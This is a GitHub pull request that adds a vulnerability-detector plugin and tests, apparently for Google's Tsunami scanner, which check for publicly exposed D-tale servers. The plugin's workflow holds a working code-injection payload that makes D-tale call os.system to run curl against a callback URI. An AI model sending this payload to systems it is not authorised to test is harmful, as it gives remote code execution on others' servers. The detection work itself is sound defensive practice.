-
Notifications
You must be signed in to change notification settings - Fork 210
PRP: D-tale Server exposed UI #673
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
VickyTheViking
wants to merge
6
commits into
google:master
Choose a base branch
from
VickyTheViking:dtale
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
Show all changes
6 commits
Select commit
Hold shift + click to select a range
76c8275
Dtale Server query method Code injection template plugin
VickyTheViking e463a0b
use wrokflow param for payload, fix some bugs, better fingerprint step
VickyTheViking 565139f
update CVE to exposed UI as the CVE is rejected
VickyTheViking a0a5d86
Merge branch 'google:master' into dtale
VickyTheViking 5dde577
Merge branch 'google:master' into dtale
VickyTheViking bc856a8
action create_sample_table is fixed, a clean up action is added
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
133 changes: 133 additions & 0 deletions
133
templated/templateddetector/plugins/exposedui/Dtale_ExposedUI.textproto
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,133 @@ | ||
# proto-file: proto/templated_plugin.proto | ||
# proto-message: TemplatedPlugin | ||
|
||
############### | ||
# PLUGIN INFO # | ||
############### | ||
|
||
info: { | ||
type: VULN_DETECTION | ||
name: "Dtale_ExposedUI" | ||
author: "VickyTheViking" | ||
version: "1.0" | ||
} | ||
|
||
finding: { | ||
main_id: { | ||
publisher: "GOOGLE" | ||
value: "DTALE_EXPOSED_UI" | ||
} | ||
severity: CRITICAL | ||
title: "Remote code execution affecting Dtale" | ||
description: "D-Tale is a visualizer for Pandas data structures. Users hosting D-Tale publicly can be vulnerable to remote code execution allowing attackers to run malicious code on the server, this is because D-Tale has a query engine and the query engine allow to run python scripts by design." | ||
recommendation: "You can change the query engine or Enable Authentication in the application to prevent unauthorized access. Check out this link for more information: https://github.com/man-group/dtale/blob/master/docs/CONFIGURATION.md" | ||
} | ||
|
||
config: {} | ||
|
||
########### | ||
# ACTIONS # | ||
########### | ||
|
||
actions: { | ||
name: "fingerprint_dtale" | ||
http_request: { | ||
method: GET | ||
uri: "/dtale/popup/upload" | ||
response: { | ||
http_status: 200 | ||
expect_all: { | ||
conditions: [ | ||
{ body: {} contains: '<link rel="preload" href="/dtale/static/fonts/istok.woff" as="font" type="font/woff" crossorigin>' }, | ||
{ body: {} contains: "<script type=\"text/javascript\" src=\"/dtale/static/dist/base_styles_bundle.js\"></script>" } | ||
] | ||
} | ||
} | ||
} | ||
} | ||
|
||
actions: { | ||
name: "create_sample_table" | ||
http_request: { | ||
method: POST | ||
uri: "/dtale/upload" | ||
headers: [ | ||
{ name: "Content-Type" value: "multipart/form-data; boundary=-" } | ||
] | ||
data: '---\nContent-Disposition: form-data; name="data.csv"; filename="data.csv"\nContent-Type: text/csv\n\ntest,data\n\n---\nContent-Disposition: form-data; name="header"\n\ntrue\n---\nContent-Disposition: form-data; name="separatorType"\n\ncomma\n---\nContent-Disposition: form-data; name="separator"\n\n-----\n' | ||
response: { | ||
http_status: 200 | ||
expect_all: { | ||
conditions: [ | ||
{ body: {} contains: "\"success\":" } | ||
] | ||
} | ||
extract_all: { | ||
patterns: [ | ||
{ | ||
from_body: {} | ||
regexp: "\"data_id\":\"([0-9_]+)\"" | ||
variable_name: "dataid" | ||
} | ||
] | ||
} | ||
} | ||
} | ||
} | ||
|
||
actions: { | ||
name: "trigger_code_execution" | ||
http_request: { | ||
method: GET | ||
uri: "/dtale/chart-data/{{ dataid }}?query={{ payload }}" | ||
response: { | ||
http_status: 200 | ||
expect_all: { | ||
conditions: [ | ||
{ body: {} contains: "\"error\":\"" } | ||
] | ||
} | ||
} | ||
} | ||
cleanup_actions: ["cleanup_sample_table"] | ||
} | ||
|
||
actions: { | ||
name: "cleanup_sample_table" | ||
http_request: { | ||
method: GET | ||
uri: "/dtale/cleanup-datasets?dataIds={{ dataid }}" | ||
response: { | ||
http_status: 200 | ||
} | ||
} | ||
} | ||
|
||
actions: { | ||
name: "sleep" | ||
utility: { sleep: { duration_ms: 1000 } } | ||
} | ||
|
||
actions: { | ||
name: "check_callback_server_logs" | ||
callback_server: { action_type: CHECK } | ||
} | ||
|
||
|
||
############# | ||
# WORKFLOWS # | ||
############# | ||
|
||
workflows: { | ||
variables: [ | ||
{ name: "payload" value: "%40pd.core.frame.com.builtins.__import__%28%22os%22%29.system%28%22%22%22curl%20{{ T_CBS_URI }}%20%23%22%22%22%29" } | ||
] | ||
condition: REQUIRES_CALLBACK_SERVER | ||
actions: [ | ||
"fingerprint_dtale", | ||
"create_sample_table", | ||
"trigger_code_execution", | ||
"sleep", | ||
"check_callback_server_logs" | ||
] | ||
} |
84 changes: 84 additions & 0 deletions
84
templated/templateddetector/plugins/exposedui/Dtale_ExposedUI_test.textproto
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,84 @@ | ||
# proto-file: proto/templated_plugin_tests.proto | ||
# proto-message: TemplatedPluginTests | ||
|
||
config: { | ||
tested_plugin: "Dtale_ExposedUI" | ||
} | ||
|
||
tests: { | ||
name: "whenVulnerable_returnsTrue" | ||
expect_vulnerability: true | ||
|
||
mock_callback_server: { | ||
enabled: true | ||
has_interaction: true | ||
} | ||
|
||
mock_http_server: { | ||
mock_responses: [ | ||
{ | ||
uri: "/dtale/popup/upload" | ||
status: 200 | ||
body_content: '<link rel="preload" href="/dtale/static/fonts/istok.woff" as="font" type="font/woff" crossorigin>' | ||
"<script type=\"text/javascript\" src=\"/dtale/static/dist/base_styles_bundle.js\"></script>" | ||
}, | ||
{ | ||
uri: "/dtale/upload" | ||
status: 200 | ||
body_content: '{"data_id":"112233","success":true}' | ||
condition: { | ||
headers: [ | ||
{ name: "Content-Type" value: "multipart/form-data; boundary=-" } | ||
] | ||
body_content: '---\nContent-Disposition: form-data; name="data.csv"; filename="data.csv"\nContent-Type: text/csv\n\ntest,data\n\n---\nContent-Disposition: form-data; name="header"\n\ntrue\n---\nContent-Disposition: form-data; name="separatorType"\n\ncomma\n---\nContent-Disposition: form-data; name="separator"\n\n-----\n' | ||
} | ||
}, | ||
{ | ||
uri: "/dtale/chart-data/112233?query={{ payload }}" | ||
status: 200 | ||
body_content: "\"error\":\"" | ||
} | ||
] | ||
} | ||
} | ||
|
||
tests: { | ||
name: "whenNoCallback_returnsFalse" | ||
expect_vulnerability: false | ||
|
||
mock_callback_server: { | ||
enabled: true | ||
has_interaction: false | ||
} | ||
|
||
mock_http_server: { | ||
mock_responses: [ | ||
{ | ||
uri: "/dtale/popup/upload" | ||
status: 200 | ||
body_content: '<link rel="preload" href="/dtale/static/fonts/istok.woff" as="font" type="font/woff" crossorigin>' | ||
"<script type=\"text/javascript\" src=\"/dtale/static/dist/base_styles_bundle.js\"></script>" | ||
} | ||
] | ||
} | ||
} | ||
|
||
tests: { | ||
name: "whenNotDocsGPT_returnsFalse" | ||
expect_vulnerability: false | ||
|
||
mock_callback_server: { | ||
enabled: true | ||
has_interaction: true | ||
} | ||
|
||
mock_http_server: { | ||
mock_responses: [ | ||
{ | ||
uri: "TSUNAMI_MAGIC_ANY_URI" | ||
status: 200 | ||
body_content: "Hello world" | ||
} | ||
] | ||
} | ||
} |
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I would suggest linking a cleanup action here so that no dirty data are left behind by the detector. It should be sufficient to issue a request like
GET /dtale/cleanup-datasets?dataIds={{dataid}}